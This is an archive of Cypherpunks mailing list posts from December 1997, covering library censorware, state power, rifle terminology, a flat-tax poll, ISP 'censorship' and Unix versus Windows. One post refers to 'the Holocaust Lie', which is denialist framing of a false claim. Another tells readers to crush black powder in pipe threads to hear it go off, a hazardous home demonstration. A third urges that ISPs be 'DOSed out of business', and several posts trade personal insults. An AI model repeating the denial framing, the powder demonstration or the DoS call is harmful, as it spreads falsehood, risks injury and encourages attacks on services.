The _real_ question is HOW to determine what humans are 
free to do. Without a common acceptance of right, wrong and 
definition of freedom, it only comes from the sharp end of a gun. 
Just having a cosy chinwag in Congress, the UN or the European 
Parliament and agreeing on a code of conduct is not enuf if it is not 
accepted by the active parties.

Many people sqeal about rights (and wrongs) but they are only right 
or wrong by some measure. If your enemy has a different measure, or
refuses to accept your right/wrong criteria, you are stuffed.

For some people, that measure is the US Constitution, for others the 
Universal Declaration of Human Rights, etc. However, all of these are 
only ARBITRARY agreements on commonly accepted points of view. If I 
disagree, they are absolutely worthless.

So, but unless you stop me, I'll play by MY set of rules. If I want 
Kuwait, I'll take it. If I  want Grenada, Chekoslovakia, Afghanistan 
or the Marshall Islands, I'll just take it. If I want to tap your 
phone, monitor your Bank account or stamp your licence with 666, I'll 
do it

Oh buts that wrong, u cant do that. Well, who says I cant. You ?? 
Laugh..laugh..laugh. Where does it say that. Did God tell you ? Prove 
it then. No, well POQ.

So if we have a Government OF the people, BY the poeple, FOR the 
people, we may have a chance of getting somewhere. (Oh well, we can 
always hope)

DM
---------------------------
David Magnay
email: sdh@crafti.com.au
---------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 23 Dec 1997 11:57:44 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: SPECIAL REPORT: Censorware in the Stacks (fwd)
In-Reply-To: <199712230348.VAA21992@einstein.ssz.com>
Message-ID: <v03102804b0c4d81dee4e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:48 PM -0700 12/22/97, Jim Choate wrote:

>Wrong, the LOC is for the people. It is there (originaly) to provide a
>reference listing of all documents published and therefore claiming copyright.
>Currently it is open to any legitimate research project. I have used it on a

Jim,

Any idea on what they define to be a "legitimate" research project? I'd
hate to travel 3000 miles to research the Holocaust Lie, only to be told
that my research on how the Holocaust Lie was sold to support FDR and
Truman is an _illegitimate_  research project.

(Not to mention having the LOC Thought Police reporting me to Interpol for
arrest upon my arrival at any EEC port of entry.)


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 10:33:44 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Lock and Load (fwd)
Message-ID: <199712230241.UAA21609@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "Michael H. Warfield" <mhw@wittsend.com>
> Subject: Re: Lock and Load
> Date: Mon, 22 Dec 1997 18:27:47 -0500 (EST)

> Mix enscribed thusly:
> > Jim Choate wrote:
> > > Forwarded message:
> > > > Not being a native English speaker, I do not understand the
> > > > meaning and origin of the phrase "LOck and Load".
> > >
> > > It means to lock the rifles safety and load it's chamber in preperation for
> > > firing at an enemy. It is usualy used in a military context but head-bangers
> > > and such use it when talking about loading their bongs and I am shure other
> > > groups use it as well in various contexts.
> 
> 
> > Wait a second, aren't we supposed to load first and lock later? How
> > can you load a rifle if it is on safety? 
> 
> 	The reference goes back to old flint lock muzzle loaders.  You would
> "lock" the firing mechanism in a safety position (kind of a half cocked
> position), then load it through the muzzle (picture this and some old
> cartoons about raming a ball on top of gun powder down the muzzle of a
> riffle and the possiblities to picture why you would want this locked on
> "safety"), then finish cocking the rifle to prepare it to fire.  This also
> relates to the term "half cocked" since a rifle that was only half cocked
> (in its locked position) was not ready to fire.  So going off "half cocked"
> became a reference to going into something unprepared while "lock and load"
> evolved into a reference to actively or vigorously preparing to engage in
> something, be it a battle, an arguement, or what ever...

This is only partialy correct, the fact is that half-cocked simply means the
pan-head is down or covered so if the flint strikes the firing plate a spark
will not be propogated into the firing chamber (a hole in the side of the
barrel) and hence fire the weapon. Firing one of these weapons is a two step
process once loaded and aimed. Pull the hammer back and remove the pan-head.
The pan-head is *always* opened just prior to firing in order to eliminate
as many causes of a mis-fire (eg rain hitting the pan-head or wind blowing
the primer charge out of the pan-head) as possible.

Traditionaly (as I was tought anyway) 'half-cocked' meant you didn't carry
through all the way in preperations to the final goal. It is clear that it
has taken on much broader meaning relating to general incompetance and
over-zealousness.

"Lock and load" is not in any of the infantry manuals I have ever seen from
before the mid-1800's. And in every case it refered to a modern weapon not
a muzzle load weapon. If anyone can point to an exception I would
appreciate it. In all of them it refers to safety'ing the weapon and then
loading a round into the chamber. It originaly came into use because of the
operation of a bolt-action rifle. If the gun wasn't on safety when the bolt
was driven home there was a small but real chance the firing pin (in the
back of the bolt you just jammed down with some zeal) would go off and cause
the weapon to mis-fire (if you and your buddy are both lucky - you missed
both of you).

As to the loading of the ball onto the gun-powder - you won't do it the way
described above but once. The black powder will go off on about the 3rd tap
and you won't have the two hands it takes to load a muzzle-loader. If you
*ever* load a black powder be *absolutely shure* that there is a ball pad
between the gun powder and the ball. It is *not* there for barrell sealing
or some other silly explanation - it's there to inhibit compressive
explosion of the black powder. Don't believe it, go down to the hardware or
feed store and buy a small can of black powder. Then get a 3/4" pipe and
cap. Put only one or two flakes of the black powder on the threads and then
tighten with a pipe wrench (wear gloves, glasses, and apron). After about a
half turn or so you should hear a distinct snapping sound. This is the black
powder going off. This is what will happen if black powder gets between the
ball and barrel while you're tapping - and there's a *lot* more gunpowder
than a couple of flakes to take your hand (and your face if you're silly
enough to be leaning over the barrel which is where not looking down the
barrel of a gun comes from).

Also, those guns didn't have safeties to engage. There was really only two
ways to enshure a safe weapon once loaded - either have the panhead closed
or take the flint or steel blade out of the hammer. Even when un-cocked the
hammer and blade rests on the firing plate and any stiff strike will cause a
spark. Easy to demonstrate - while holding one simply strike the hammer with
the heel of your hand while in the dark - that little spark is what blew
your face off.

You can buy working 'Brown Bessie' models at most any gun or decent hobby
store. They're cheap (around $100 last time I looked), loud, smelly, and
loads of fun...


Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 10:43:45 +0800
To: cypherpunks@ssz.com
Subject: http:--cnnfn.com-quickenonfn-taxes-9712-22-q_taxes_poll-
Message-ID: <199712230300.VAA21729@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   [IMAGE] [LINK] [ISMAP] graphic 
   Should there be a flat tax?
   
   
   Results of new poll show Americans favor a flat tax, with some changes
   
   
   
   December 22, 1997: 3:36 p.m. ET
   
   
   [LINK] 
   [INLINE] 
   
   
   Post: President Decides Against Tax Plan Offer - Dec. 21, 1997
   
   [INLINE]
   
   The Gallup Organization
   
   USA Today
   More related sites... NEW YORK (CNNfn) - According to a CNN/USA
   Today/Gallup poll, Americans now favor, by a thin margin, a flat tax
   system in which all Americans would pay the same percentage of their
   income in taxes -- regardless of how much money they make.
   [INLINE] But the public opposes two central features of flat tax
   proposals: the elimination of deductions for mortgage interest and for
   charitable contributions.
   [INLINE] Only one third of the country would favor replacing the
   current income tax system with a national sales tax which would apply
   to all retail purchases. The public believes that most Americans pay
   their fair share in taxes.
   [INLINE] The poll interviewed 1,019 adult Americans on November 21-23.
   [INLINE] The results are as follows:
   [INLINE] Flat Tax System
   [INLINE] Favor, 51 percent
   [INLINE] Oppose, 46 percent
   [INLINE] Flat Tax System With No Mortgage Deduction
   [INLINE] Favor, 42 percent
   [INLINE] Oppose, 54 percent
   [INLINE] Flat Tax System With No Charitable Deduction
   [INLINE] Favor, 43 percent
   [INLINE] Oppose, 53 percent
   [INLINE] Replacing Income Tax With National Sales Tax
   [INLINE] Favor, 32 percent
   [INLINE] Oppose, 62 percent
   [INLINE] Do Most Americans Pay Their Fair Share in Taxes?
   [INLINE] Yes, 54 percent
   [INLINE] No, 43 percent
   [INLINE] Sampling error on all of the above questions: +/-3 percentage
   points. Link to top 
   
   
   
   home | taxes | quicken.com on fn | contents | search | stock quotes |
   help
   
   Copyright &copy; 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 23 Dec 1997 13:21:13 +0800
To: honig@otc.net>
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <3.0.5.32.19971222100447.007d28c0@otc.net>
Message-ID: <v03102805b0c4e8e2decb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:13 PM -0700 12/22/97, Paul Spirito wrote:

>It's true that in the absence of public libraries this would not be an
>issue; however, it is an example of the state acting as sovereign, not
>employer. We're concerned with the right of patrons to access material, &
>they are not state employees. The situation is analogous to a public park:
>just because the state owns it, does that mean it can forbid, say, criticism
>of the state in it? No, of course not, though it has broader discretion in
>limiting the speech of public employees in the park, while on-duty.

Well, to move this away from First Amendment issues, for the sake of
novelty, I know of several nearby state-owned parks (literally) which
forbid discharge of firearms or even carrying of firearms.

Whither the Second Amendment? (Or has it withered?)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 23 Dec 1997 13:23:01 +0800
To: David Honig <cypherpunks@toad.com
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <v03007800b0c4336d8c2e@[204.254.22.15]>
Message-ID: <v03102806b0c4e9cd15f1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:04 AM -0700 12/22/97, David Honig wrote:

>Note that if the library in question were not arm of the State,
>noone would have any First Amendment claim.
>
>This is reminiscent of TM's recent (controversial) analysis of the fired
>county trashworker/author,
>and suggests a clearer example of the confusion caused by State as Employer:

Yep, I started to write just such an analysis this morning when I saw
Declan's report. But I felt the arguments had already been made, in other
cases, so I never finished the article.

Look, the state-as-employer or the state-as-library has, for ontological
reasons, various rules, conditions, etc. which have nothing to do with the
state-as-sovereign.

If the state-as-employer insists that English be spoken in offices, is this
an infringement of First Amendment rights in even remotely the same way as
if the state-as-sovereign illegalized the speaking of Portugese in Texas
(or anyplace else that was not a state-as-employer office)?

When the state-as-sovereign sets up libraries that don't carry Everything
(hint: and not even the LOC carries everything), then the choices it makes
can be seen by some to be First Amendment violations.

That way lies madness.

A better solution is to get Government out of the business of running
libraries or providing Net access.

Again, I see no clearcut First Amendment issues here.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 11:20:18 +0800
To: freedom-knights@jetcafe.org
Subject: Dishonorable ISPs censoring Usenet
In-Reply-To: <0af1f50d709c70d6ee98863386f81e59@anon.efga.org>
Message-ID: <Xo95He19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <anon@anon.efga.org> writes:

> >> (Many people here probably remember Fred Cherry - Panix pulled his
> >plug for
> >> "homophobia".)
> >I wish you could be a little more specific.
> >Harrashing email and excessive cross-posting in violation of each
> >UseNet
> >group charter is not
> >censorship.
>
> If ISP's censored flames (harrasments, whatever) then we might as well call e

ISPs that pull users' plugs for "spamming" (which Chris Lewis et al define
as exsessive or inappropriate cross-posting or content) are obviously
engaging in content censorship.  Any ISP that how an "acceptable use policy"
that mentions "spam" in disparaging terms is full of shit and should be
boytcotted, blacklisted, and DOSed out ob business.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 22 Dec 1997 20:12:43 +0800
To: Douglas Decicco <dad@TranSeed.com>
Subject: Re: Disection of Politics
In-Reply-To: <349D9A75.735D@TranSeed.com>
Message-ID: <Pine.LNX.3.93.971222211619.194B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 21 Dec 1997, Douglas Decicco wrote:

> There is that word "FREE" which has a scope similar to the
> other massively abused word "LOVE".  As far as I'm concerned
> the term "FREE WORLD" is as ambiguous as the sentence "I LOVE
> YOU."

But all the big idears have this problem,  Love, Freedom, tolerence, free
speech, peace and truth.  The good concepts are always ambiguous,  the
simple chouses are the ones you have to be worried about.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 11:21:04 +0800
To: cypherpunks@toad.com
Subject: Re: SPECIAL REPORT: Censorware in the Stacks (fwd)
In-Reply-To: <199712222201.QAA20397@einstein.ssz.com>
Message-ID: <J195He21w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:

> > Subject: Re: SPECIAL REPORT: Censorware in the Stacks
> > From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> > Date: Mon, 22 Dec 97 15:33:03 EST
>
> > On the contary. when no library was state (meaning, taxpayer) funded, and t
>
> Get your facts straight. The US has a library that from day 1 has been
> citizen supported. Every state (that I am aware of) has a state library that
> is funded by tax payers. Furthermore, Texas & Lousiana have had localy
> supported libraries and schools before they were even states.

Jim,

I suggest you get your facts straight.

LOC is for the Congress. Have you tried getting in and doing your own private
research? It's not piece of cake.

Every state has a public library NOW, just like every state has a welfare
office.  However I have plenty of evidence that libraries in New York were
much better when there were many private ones who charged patrons for use
- which was the case about 100 years ago.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 11:19:01 +0800
To: cypherpunks@toad.com
Subject: Re: Rich Graves and fight-censorship
In-Reply-To: <199712222344.AAA08997@basement.replay.com>
Message-ID: <1a05He22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> Can someone tell me why Rich Graves was kicked of fight-censorship some
> time ago?

Because Declan McCulough wanted to be the biggest liar on his list and
didn't like the competition from Rich.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Tue, 23 Dec 1997 05:06:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hate speech and censorship
Message-ID: <199712222045.VAA16098@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis writes:

> Perhaps the state shouldn't be in the business of providing library services
> to begin with; then there will be no 1st amendment issue, and if you don't
> like the censorware used by a private library, why, use another private
> library, or start your own.
> 
> (Nor would there be an issue with private libraries refusing service to
> readers who smell bad.)

How ironic that Vulis supports the right of private libraries to refuse
service to bad-smelling readers, while whining about Gilmore's refusal
to allow Gilmore's own private machine to pass Vulis' foul-smelling posts.

Private actions are not censorship, and Gilmore had the right to do
anything he wanted with toad.com.  Likewise list members had every right
to move to other hosts.

Vulis's infantile name-calling is easily seen to be totally lacking in
justification, unsurprising given his demonstrated lack of reasoning
abilities on this issue.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 11:32:02 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: SPECIAL REPORT: Censorware in the Stacks (fwd)
Message-ID: <199712230348.VAA21992@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: SPECIAL REPORT: Censorware in the Stacks (fwd)
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Mon, 22 Dec 97 21:34:42 EST

> Jim Choate <ravage@ssz.com> writes:
> 
> > > Subject: Re: SPECIAL REPORT: Censorware in the Stacks
> > > From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> > > Date: Mon, 22 Dec 97 15:33:03 EST
> >
> > > On the contary. when no library was state (meaning, taxpayer) funded, and t
> >
> > Get your facts straight. The US has a library that from day 1 has been
> > citizen supported. Every state (that I am aware of) has a state library that
> > is funded by tax payers. Furthermore, Texas & Lousiana have had localy
> > supported libraries and schools before they were even states.
> 
> Jim,
> 
> I suggest you get your facts straight.
> 
> LOC is for the Congress. Have you tried getting in and doing your own private
> research? It's not piece of cake.

Wrong, the LOC is for the people. It is there (originaly) to provide a
reference listing of all documents published and therefore claiming copyright.
Currently it is open to any legitimate research project. I have used it on a
couple of projects in the past to research writings no longer in print.

> Every state has a public library NOW, just like every state has a welfare
> office.  However I have plenty of evidence that libraries in New York were
> much better when there were many private ones who charged patrons for use
> - which was the case about 100 years ago.

New York does not equate to 'all the states'. A more than trivial point in
your position. Bottem line, both Texas and Louisiana have public libraries
that predate eithers entry into the Union.

Go piss in that pot you lying commie sack of shit.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 23 Dec 1997 12:09:04 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: SPECIAL REPORT: Censorware in the Stacks (fwd)
In-Reply-To: <199712230348.VAA21992@einstein.ssz.com>
Message-ID: <199712230403.XAA09994@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712230348.VAA21992@einstein.ssz.com>, on 12/22/97 
   at 09:48 PM, Jim Choate <ravage@ssz.com> said:

>Go piss in that pot you lying commie sack of shit.
                               ^^^^^^

????? Since when is one considered a "commie" for opposing unwarented and
unconstitutional intervention in the free market?!?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Tue, 23 Dec 1997 14:37:12 +0800
To: cypherpunks@toad.com
Subject: Best Cypherpunk long gun
Message-ID: <199712230611.WAA27275@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



What is the best long gun for a Cypherpunk?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 12:15:40 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Lock and Load (fwd)
Message-ID: <199712230422.WAA22160@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi Igor,

Sorry you are the one to bring this one up...

Forwarded message:

> Subject: Re: Lock and Load (fwd)
> Date: Mon, 22 Dec 1997 21:45:46 -0600 (CST)
> From: ichudov@algebra.com (Igor Chudov @ home)

> 
> AK-47.
> 

The Chinese Norinco version will certainly do so, I've fired a couple of
them. Never seen a real soviet model but they are supposed to be piece for
piece interchangable. But will check into it and get back to you.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 23 Dec 1997 12:42:52 +0800
To: ravage@ssz.com (Jim Choate)
Subject: Re: Lock and Load (fwd)
In-Reply-To: <199712230422.WAA22160@einstein.ssz.com>
Message-ID: <199712230437.WAA19352@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Jim Choate wrote:
> Sorry you are the one to bring this one up...
> Forwarded message:
> 
> > Subject: Re: Lock and Load (fwd)
> > Date: Mon, 22 Dec 1997 21:45:46 -0600 (CST)
> > From: ichudov@algebra.com (Igor Chudov @ home)
> 
> > 
> > AK-47.
> > 
> 
> The Chinese Norinco version will certainly do so, I've fired a couple of
> them. Never seen a real soviet model but they are supposed to be piece for
> piece interchangable. But will check into it and get back to you.
> 

You can't lock and load an AK. I remember that very well even though it
has been a while. The bolt just would not go far enough back to pick up
the cartridge. The bolt carrier's charging handle would only go as far
as to allow for the weapon inspection.

You can only load and lock. And I think that it is the right design,
because a soldier cant accidentally get the weapon loaded.

I could field strip an AK (mind you, with all military gadgets) in 11
seconds and assemble it back in 21 seconds.

What crypto relevance does it have?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 12:28:21 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: SPECIAL REPORT: Censorware in the Stacks (fwd)
Message-ID: <199712230446.WAA22327@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 22 Dec 1997 19:58:05 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: SPECIAL REPORT: Censorware in the Stacks (fwd)

> >Wrong, the LOC is for the people. It is there (originaly) to provide a
> >reference listing of all documents published and therefore claiming copyright.
> >Currently it is open to any legitimate research project. I have used it on a
> 
> Any idea on what they define to be a "legitimate" research project?

Something related to a project you're working on is my guest guess. I had a
clear problem description and goal in mind both times I dealt with them. My
experience is that just about any research organization like that simply
wants some assurance of legitimacy regarding the use of resources in that
institution, they got a bottem line they have to toe. In my various diggings
I have *never* been turned away from any reference stack if I could provide
them with clear descriptions and goals. Then again, I don't go in raving and
ranting and making lot's of demands either...

The first time I had reference to them was when I worked for the DoD during
college ('80-'83 @ UT) when I had to do some research on a RTL project for
Capt. Gene Barton of the US Army. Not that he would necessarily know
anything about it. I made the requests for specific information through the
engineering library at UT and they contacted both LoC and the Patent Office
on prior art. I was designing a non-Von Neumann router from TTL random gates
and needed to see how some folks had resolved some similar addressing (very
sticky wicket that in regards RTL architectures) issue. The second time was
when I was working for Austron here in Austin doing time reference standards
(1210's, 2055's, 2000 & 5000 LORAN recievers - it you got one and it was
done by triangle-nine it's mine) and needed to do some reference requests
for one of the engineers (I unfortunately don't remember his name) into rf
propogation models in the 10kHz range because of some problem the US Navy
was having off Korea. Past that I don't know as there was some sort of
security issue involved.

Neither time did it take more than a couple of phone calls (numbers provided
for me) and some faxes. I also don't believe that anyone on the other end
know anything more about my projects other than the librarian on my end
saying something like "I have a user who wants to request ...".

YMMV of course.

> hate to travel 3000 miles to research the Holocaust Lie, only to be told
> that my research on how the Holocaust Lie was sold to support FDR and
> Truman is an _illegitimate_  research project.

You don't have to travel farther than your local public library. Now whether
the librarian wants to spend their time working on your project is a whole
'nother (personal) issue.

If you want to know more specifics I suggest you call information in DC and
ask for the main number. From there you're on your own. I'm working on a
small book proposal & ASL expansion pack regarding the Japanese parachute
invasion of Palembang on Feb. 14, 1942 and it's possible I may need to see
records there since the US Navy was part of the combined
British-Dutch-French-US command in that area. If so, I'll be shure to pass
along any experiences that I might have. I certainly hope to arrange an
actual trip to Palembang in a couple of years. But I digress...


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Tue, 23 Dec 1997 08:04:18 +0800
To: steve@xemacs.org
Subject: Re: Coercive Monopolism vs Wimpyness
Message-ID: <199712222249.WAA03750@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



I thought it was time someone totally unbiased commented
on this OS war thing!


Blanc writes:

>And, since Windows OS is so pitifully lousy, why do people continue to buy
>it, even without the computer attached;  why do they continue to upgrade,
>even if it's so slow and bloated?   Don't they realize Unix is better?
>Don't they realize they're just making Billg richer?

We buy computers ordered with blank disks in preference.  In fact this
one came with DOS and I wiped it on day 1.


> Want to parse MS Turd documents? Windows 95 and MS Office.

Red Hat's Applixware has had good reviews.  Besides I'm happy to return
unreadable messages asking for a different format.  If the other guy
refuses try him with DVI or something.   It's different if you're being
paid to use Windoze. I'll admit it - I did some Lose95 work today: what
was it ?  Trying to get a modem link to stay up.  I've done more creative
things, but not usually under Windoze.


> Want to run that program your mother sends you and wants you to run?

Quote her the exec format error you got.  Ha ha ha.


> Happened to buy a printer? It won't say "Yes! It works with Ghostscript!"

But you should soon find out from other people.





From: "Brian B. Riley" <brianbr@together.net>

> Windows (who stole its interface from mac who stole it from xerox)
> type GUIs are easier to use than CLIs, it is only since the
> entrenchment of GUIs that they have come forth in the Unix/Linux
> world.

GUI interfaces are only easy for the few things they present
you with, after which they are imnpossible.  Unless you can
connect your "find" and "sed" icons in a pipeline ...
In fact I rarely even start X unless it's for the xboard chess game.

speaking of which ...
   Is Unix dying--or even dead?
   From: "S. M. Halloran" <mitch@duzen.com.tr>

    From Edupage, 18 December 1997:
    <---------->
    TACTICAL SHIFT BY WORKSTATION COMPANIES
    Silicon Graphics Inc.'s plan to allow SGI graphics software to run on
    Microsoft's Windows NT operating system provides new evidence that a
    growing number of companies are giving up on Unix and instead
    standardizing on Windows NT.  SGI hopes to be able to use its
    experience in developing high-end graphics software without having to
    spend a great deal of time building the underlying technology
    represented by an operating system. (Washington Post  17 Dec 97)
    <---------->

But SGI never did put any effort into it, which was why their network
programs were built on 'rcp' and needed fixing if you (horrors) set a password.

> turnkey "office suite" and try to give MS a run for its money.  There 
> is no time like now to get the X-Windows (or GUI-free-from-copyright) 
> Complete Office bundled together and have a media gathering to make 
> sure that all the important news organizations are informed.  You 
> should get decent press exposure, since MS-bashing seems to be in 
> vogue.  The Linux or FreeBSD people should select a mediagenic 
> spokesperson from the group--one with fire in the belly--and then do 
> the hard work of putting something together that a 25-year old 
> free-Unix developer's 72-year old grandmother can install to a x86 
> box.  In fact, your press conference would have real pinache if, in 
> fact, you put someone's 72-year old grandmother before a PC with an 
> empty disk drive, run the install, then type a short letter on the 
> fancy word processer, addressed to Bill G., with the message "Up 
> yours!"

I can think of someone possibly suitable for this last bit.
(R. what do you think ?)






From: SL Baur <steve@xemacs.org>

> Unix *is* far better and had the technology decades ago.

> Where can I get a laptop without a pre-installed O/S (or with Linux
> pre-installed) on it?

Try these people.  I'm not sure about laptops.


: VA Research Linux Workstations        |  The World's Best Linux Workstations
:                                       |           Featuring RedHat
